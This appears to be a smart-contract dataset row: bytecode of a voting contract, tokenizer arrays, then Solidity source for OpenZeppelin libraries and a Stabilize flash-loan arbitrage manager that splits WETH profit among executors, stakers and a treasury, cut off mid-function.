2060008881526020019081526020016000208260ff1660328110610bb457fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050610ca28373ffffffffffffffffffffffffffffffffffffffff1663ffe48902836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c5857600080fd5b505afa158015610c6c573d6000803e3d6000fd5b505050506040513d6020811015610c8257600080fd5b8101908080519060200190929190505050866119cf90919063ffffffff16565b9450610e1f610e10600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900461ffff1661ffff168573ffffffffffffffffffffffffffffffffffffffff1663ffe48902856040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610dc757600080fd5b505afa158015610ddb573d6000803e3d6000fd5b505050506040513d6020811015610df157600080fd5b8101908080519060200190929190505050611a5790919063ffffffff16565b856119cf90919063ffffffff16565b9350508080600101915050610aea565b50610e438383611add90919063ffffffff16565b93505050505b92915050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060009054906101000a900460ff1660ff16905092915050565b603261ffff168161ffff161015610f1b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180611c1a602c913960400191505060405180910390fd5b60c861ffff168161ffff161115610f7d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180611bee602c913960400191505060405180910390fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611890576110278333846104dc565b611099576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f54686973206163636f756e74206973206e6f7420766f7461626c65000000000081525060200191505060405180910390fd5b600060329050603260ff166000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060009054906101000a900460ff1660ff16101561116e576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060009054906101000a900460ff16905061152b565b600084905060008173ffffffffffffffffffffffffffffffffffffffff1663ffe48902336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156111f257600080fd5b505afa158015611206573d6000803e3d6000fd5b505050506040513d602081101561121c57600080fd5b8101908080519060200190929190505050905060008090505b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087815260200190815260200160002060009054906101000a900460ff1660ff168160ff16101561152757818373ffffffffffffffffffffffffffffffffffffffff1663ffe48902600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a81526020019081526020016000208460ff166032811061131a57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561139c57600080fd5b505afa1580156113b0573d6000803e3d6000fd5b505050506040513d60208110156113c657600080fd5b8101908080519060200190929190505050101561151a578093508273ffffffffffffffffffffffffffffffffffffffff1663ffe48902600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008981526020019081526020016000208360ff166032811061145a57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156114dc57600080fd5b505afa1580156114f0573d6000803e3d6000fd5b505050506040513d602081101561150657600080fd5b810190808051906020019092919050505091505b8080600101915050611235565b5050505b603260ff168160ff16101561188e576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060009054906101000a900460ff1660ff168160ff1610156116ce576000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008581526020019081526020016000206000600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008781526020019081526020016000208460ff166032811061165657fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611749565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848152602001908152602001600020600081819054906101000a900460ff1660010191906101000a81548160ff021916908360ff1602179055505b6001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008581526020019081526020016000208260ff166032811061184e57fe5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b505b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548161ffff021916908361ffff1602179055503373ffffffffffffffffffffffffffffffffffffffff167fa8a478c6ecd9c141e83e70284167aaa087698f6c8972cf3e8b71ab2a6ecd9d54848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018261ffff1661ffff168152602001935050505060405180910390a2505050565b600080828401905083811015611a4d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080831415611a6a5760009050611ad7565b6000828402905082848281611a7b57fe5b0414611ad2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611c466021913960400191505060405180910390fd5b809150505b92915050565b6000611b1f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b27565b905092915050565b60008083118290611bd3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611b98578082015181840152602081019050611b7d565b50505050905090810190601f168015611bc55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611bdf57fe5b04905080915050939250505056fe766f74696e6756616c75652069732067726561746572207468616e204d41585f564f54494e475f56414c5545766f74696e6756616c756520697320736d616c6c6572207468616e204d494e5f564f54494e475f56414c5545536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a7231582038563728c6816ee93cced8abac6b21ac9c36e84f7ca1fe5b272239083b7b128964736f6c63430005110032 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
24087,
2581,
2575,
2050,
2692,
17788,
2549,
2050,
2475,
3207,
14142,
28311,
2050,
2549,
29292,
22407,
2094,
28154,
2509,
2063,
25746,
2549,
2094,
21084,
4246,
2581,
2094,
2575,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,561 | 0x9557ef0975e8e921c822a8b81032e695d7ff328c | // SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _governance;
event GovernanceTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_governance = msgSender;
emit GovernanceTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function governance() public view returns (address) {
return _governance;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyGovernance() {
require(_governance == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferGovernance(address newOwner) internal virtual onlyGovernance {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit GovernanceTransferred(_governance, newOwner);
_governance = newOwner;
}
}
// File: contracts/strategies/StabilizeStrategyFlashLoanManager.sol
pragma solidity =0.6.6;
// This is a strategy takes advantage of arb opportunities for multiple tokens across ETH chain
// The strategy can load multiple flash loan routes that can be executed by executors for a profit
// Routes can be updated dynamically by governance to keep strategy current
// Profit from flash loans are split among executors, STBZ stakers and Gas treasury
// There are no user deposits needed for this strat
interface StabilizeStakingPool {
function notifyRewardAmount(uint256) external;
}
interface AggregatorV3Interface {
function latestRoundData() external view returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);
}
interface GenericFlashModule{
function checkFlashTrade() external view returns (uint256);
function doFlashTrade() external;
}
contract StabilizeStrategyFlashLoanManager is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
address public treasuryAddress; // Address of the treasury
address public stakingAddress; // Address to the STBZ staking pool
uint256 constant DIVISION_FACTOR = 100000;
uint256 public lastTradeTime = 0;
uint256 public percentExecutor = 10000; // 10000 = 10% of WETH goes to executor. This is on top of gas stipend
uint256 public maxPercentStipend = 30000; // The maximum amount of WETH profit that can be allocated to the executor for gas in percent
uint256 public percentStakers = 50000; // 50% of non-depositors WETH goes to stakers, can be changed
uint256 public gasStipend = 2000000; // This is the gas units that are covered by executing a trade taken from the WETH profit
uint256 public minAmountGain = 1e15; // Minimum amount of gain before splitting profit
address[] public flashLoanModulesList; // A dynamic list that can be updated by governance
address constant WETH_ADDRESS = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address constant GAS_ORACLE_ADDRESS = address(0x169E633A2D1E6c10dD91238Ba11c4A708dfEF37C); // Chainlink address for fast gas oracle
constructor(
address _treasury,
address _staking,
address[] memory _list
) public {
treasuryAddress = _treasury;
stakingAddress = _staking;
flashLoanModulesList = _list; // Load the initial modules
}
// Initialization functions
// Read functions
function totalActiveModules() public view returns (uint256) {
return flashLoanModulesList.length;
}
// Write functions
function getFastGasPrice() internal view returns (uint256) {
AggregatorV3Interface gasOracle = AggregatorV3Interface(GAS_ORACLE_ADDRESS);
( , int intGasPrice, , , ) = gasOracle.latestRoundData(); // We only want the answer
return uint256(intGasPrice);
}
function checkAndSwapTokens(address _executor, uint256 _targetModule) internal {
require(_targetModule < totalActiveModules(),"Module ID outside of range");
lastTradeTime = now;
IERC20 weth = IERC20(WETH_ADDRESS);
uint256 wethGain = weth.balanceOf(address(this));
GenericFlashModule(flashLoanModulesList[_targetModule]).doFlashTrade(); // This will return WETH
wethGain = weth.balanceOf(address(this)).sub(wethGain);
require(wethGain > 0, "There was no profit from this flash loan");
uint256 _wethBalance = weth.balanceOf(address(this));
if(_wethBalance > minAmountGain){
// Split between the stakers and such
// This is pure profit, figure out allocation
// Split the amount sent to the treasury, stakers and executor if one exists
if(_executor != address(0)){
// Executors will get a gas reimbursement in WETH and a percent of the remaining
uint256 maxGasFee = getFastGasPrice().mul(gasStipend); // This is gas stipend in wei
uint256 gasFee = tx.gasprice.mul(gasStipend); // This is gas fee requested
if(gasFee > maxGasFee){
gasFee = maxGasFee; // Gas fee cannot be greater than the maximum
}
uint256 executorAmount = gasFee;
if(gasFee >= _wethBalance.mul(maxPercentStipend).div(DIVISION_FACTOR)){
executorAmount = _wethBalance.mul(maxPercentStipend).div(DIVISION_FACTOR); // The executor will get the entire amount up to point
}else{
// Add the executor percent on top of gas fee
executorAmount = _wethBalance.sub(gasFee).mul(percentExecutor).div(DIVISION_FACTOR).add(gasFee);
}
if(executorAmount > 0){
weth.safeTransfer(_executor, executorAmount);
_wethBalance = weth.balanceOf(address(this)); // Recalculate WETH in contract
}
}
if(_wethBalance > 0){
uint256 stakersAmount = _wethBalance.mul(percentStakers).div(DIVISION_FACTOR);
uint256 treasuryAmount = _wethBalance.sub(stakersAmount);
if(treasuryAmount > 0){
weth.safeTransfer(treasuryAddress, treasuryAmount);
}
if(stakersAmount > 0){
if(stakingAddress != address(0)){
weth.safeTransfer(stakingAddress, stakersAmount);
StabilizeStakingPool(stakingAddress).notifyRewardAmount(stakersAmount);
}else{
// No staking pool selected, just send to the treasury
weth.safeTransfer(treasuryAddress, stakersAmount);
}
}
}
}
}
function expectedProfit(uint256 _targetModule) external view returns (uint256, uint256) {
require(_targetModule < totalActiveModules(),"Module ID outside of range");
// This view will return the amount of gain in WETH a forced swap or loan will make on next call and the block number
uint256 wethGain = GenericFlashModule(flashLoanModulesList[_targetModule]).checkFlashTrade(); // This will return WETH gain
wethGain = wethGain.add(IERC20(WETH_ADDRESS).balanceOf(address(this))); // Add it to any weth already in the address
if(wethGain < minAmountGain){
return (0, block.number);
}else{
// Calculate how much WETH the executor would make as profit
uint256 estimate = wethGain;
// Now calculate the amount going to the executor
uint256 gasFee = getFastGasPrice().mul(gasStipend); // This is gas stipend in wei
if(gasFee >= estimate.mul(maxPercentStipend).div(DIVISION_FACTOR)){ // Max percent of total
return (estimate.mul(maxPercentStipend).div(DIVISION_FACTOR), block.number); // The executor will get max percent of total
}else{
estimate = estimate.sub(gasFee); // Subtract fee from remaining balance
return (estimate.mul(percentExecutor).div(DIVISION_FACTOR).add(gasFee), block.number); // Executor amount with fee added
}
}
}
function executorSwapTokens(address _executor, uint256 _minSecSinceLastTrade, uint256 _deadlineBlock, uint256 _targetModule) external {
// Function designed to promote trading with incentive.
require(block.number <= _deadlineBlock, "Deadline has expired, aborting trade");
require(now.sub(lastTradeTime) >= _minSecSinceLastTrade, "The last trade was too recent");
require(_msgSender() == tx.origin, "Contracts cannot interact with this function");
checkAndSwapTokens(_executor, _targetModule);
}
// Governance functions
// Change the trading conditions used by the strategy without timelock
// --------------------
function adjustFlashManagerSettings(uint256 _minGain,
uint256 _pStakers,
uint256 _pExecutor,
uint256 _pStipend,
uint256 _maxStipend) external onlyGovernance {
// Changes a lot of trading parameters in one call
require(_pExecutor <= 100000 && _pStipend <= 100000 && _pStakers <= 100000,"Percent cannot be greater than 100%");
percentStakers = _pStakers;
percentExecutor = _pExecutor;
minAmountGain = _minGain;
maxPercentStipend = _pStipend;
gasStipend = _maxStipend;
}
// --------------------
// Governance is adding a new module to the list
// --------------------
function addNewFlashModule(address _module) external onlyGovernance {
